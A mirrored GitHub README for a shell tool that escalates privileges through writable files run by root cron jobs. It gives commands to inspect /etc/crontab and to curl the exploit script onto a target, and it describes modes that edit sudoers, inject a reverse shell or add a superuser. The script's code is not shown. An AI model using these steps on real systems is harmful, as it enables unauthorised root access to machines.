Giter Club home page Giter Club logo

cronjob-exploit's Introduction

logo

License: GPL-2.0

Cronjob Exploit For Privilege Escalation

This script was built in shell script for privilege escalation using an writable file that will be executed by a privileged user in a Cron task.

What is Cron Job? |crontab file| => Cron is a process running in the background of the system, listing files with commands to be executed periodically at fixed times, dates or intervals. The default system cron table or crontab configuration file is /etc/crontab. Hackers use a writable file that will be run by an admin user in a cron job to inject commands or malicious code and gain control after the file runtime has arrived.

Any user can read the file keeping system-wide cron jobs under /etc/crontab so check it.

cat /etc/crontab

Installation:

git clone https://github.com/Jsmoreira02/Cronjob-Exploit.git

Or upload directly to the target

curl -o /tmp/exploit.sh https://raw.githubusercontent.com/Jsmoreira02/Cronjob-Exploit/main/exploit_crontab.sh

Modes of operations

There are four privilege escalation methods in this script

                     1 - edit /etc/sudoers
                     2 - reverse_shell injection
                     3 - change file owner
                     4 - add superuser
                     5 - exit

1 - Edit etc/sudoers file

Gravando2024-04-02193557-ezgif com-video-to-gif-converter

Inserts within the sudoers configuration file, access of sensitive system commands, which can only be executed by the root user, without the need for a password.

2 - Reverse shell injection

VdeosemttuloFeitocomoClipchamp1-ezgif com-video-to-gif-converter

It injects a reverse shell code inside the file and after being executed, the attacker will gain access to the user who owns the file or even the root user. The language of the reverse shell is of the user's choice.

3 Change file owner

Change the file owner by injecting the bash terminal command: chown

4 Add superuser

Gravando2024-04-02193705-ezgif com-video-to-gif-converter

Adds a new admin user on the system, with predefined password (The script will show it, don't worry :D).

Regardless of which mode you choose during the hack, you should always inform the location of the writable crontab file. After that, just wait for the cron task on the system to run and then exploit

Warning:

I am not responsible for any illegal use or damage caused by this tool. It was written for fun, not evil and is intended to raise awareness about cybersecurity

cronjob-exploit's People

Contributors

jsmoreira02 avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.